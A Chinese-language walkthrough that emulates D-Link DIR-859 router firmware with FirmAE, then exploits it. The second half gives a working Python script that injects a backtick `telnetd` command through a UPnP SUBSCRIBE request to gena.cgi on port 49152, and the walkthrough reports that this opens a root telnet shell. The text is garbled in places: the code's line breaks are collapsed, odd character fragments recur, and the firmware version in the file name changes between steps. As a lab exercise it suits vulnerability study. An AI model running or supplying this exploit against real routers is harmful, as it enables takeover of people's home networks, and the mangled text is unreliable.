1.FirmAE 工具安裝
首先拉取FirmAE 工具倉庫
git clone --recursive https://github.com/pr0v3rbs/FirmAE

運(yùn)行下載腳本

運(yùn)行./install.sh進(jìn)行安裝

2.下載固件
本文模擬的是設(shè)備型號(hào)為D-Link DIR-859
下載地址:
http://www.dlink.com.cn/techsupport/ProductInfo.aspx?m=DIR-859
下載后得到DIR859Ax_FW105b03.bin固件文件

3.FirmAE工具初始化
在FirmAE工具目錄下執(zhí)行./init.sh進(jìn)行初始化

4.安裝binwalk
這里使用FirmAE工具目錄下的binwalk安裝程序進(jìn)行安裝
cd binwalk-2.3.3/python3 setup.py install

5.模擬運(yùn)行固件
執(zhí)行如下命令對(duì)固件進(jìn)行解壓
binwalk -Me /root/DIR859_FW102b03.bin --run-as=root

執(zhí)行如下命令來模擬運(yùn)行固件
sudo ./run.sh -r DIR-859 /root/DIR859_FW102b03.bin

使用瀏覽器訪問http://192.168.0.1,出現(xiàn)如下界面則表明成功模擬了一臺(tái)D-Link DIR-859路由器
查看端口

使用49152端口
EXP內(nèi)容如下:
import socketimport osfrom time import sleep
def httpSUB(server, port, shell_file): con = socket.socket(socket.AF_INET, socket.SOCK_STREAM) Payload = "SUBSCRIBE /gena.cgi?service=" + str(shell_file) + " HTTP/1.0\n" Payload += "Host: " + str(server) + ":" + str(port) + "\n" Payload += "Callback: <http://192.168.126.128:33/>\n" Payload += "NT: upnp:event\n" Payload += "Timeout: Second-1800\n" Payload += "Accept-Encoding: gzip, deflate\n" Payload += "User-Agent: gupnp-universal-cp GUPnP/1.0.2 DLNADOC/1.50\n\n" print(Payload) sleep(1) print('[*] Sending Payload') con.connect((socket.gethostbyname(server),port)) con.send(Payload.encode()) results = con.recv(4096)
sleep(1) print('[*] Running Telnetd Service')
serverInput = raw_input('IP Router: ')portInput = 49152
httpSUB(serverInput, portInput, '`telnetd`')
執(zhí)行EXP

使用nmap掃描可以看到已成功通過漏洞開啟了telnetd服務(wù)

執(zhí)行telnet 192.168.0.1,成功獲取shell
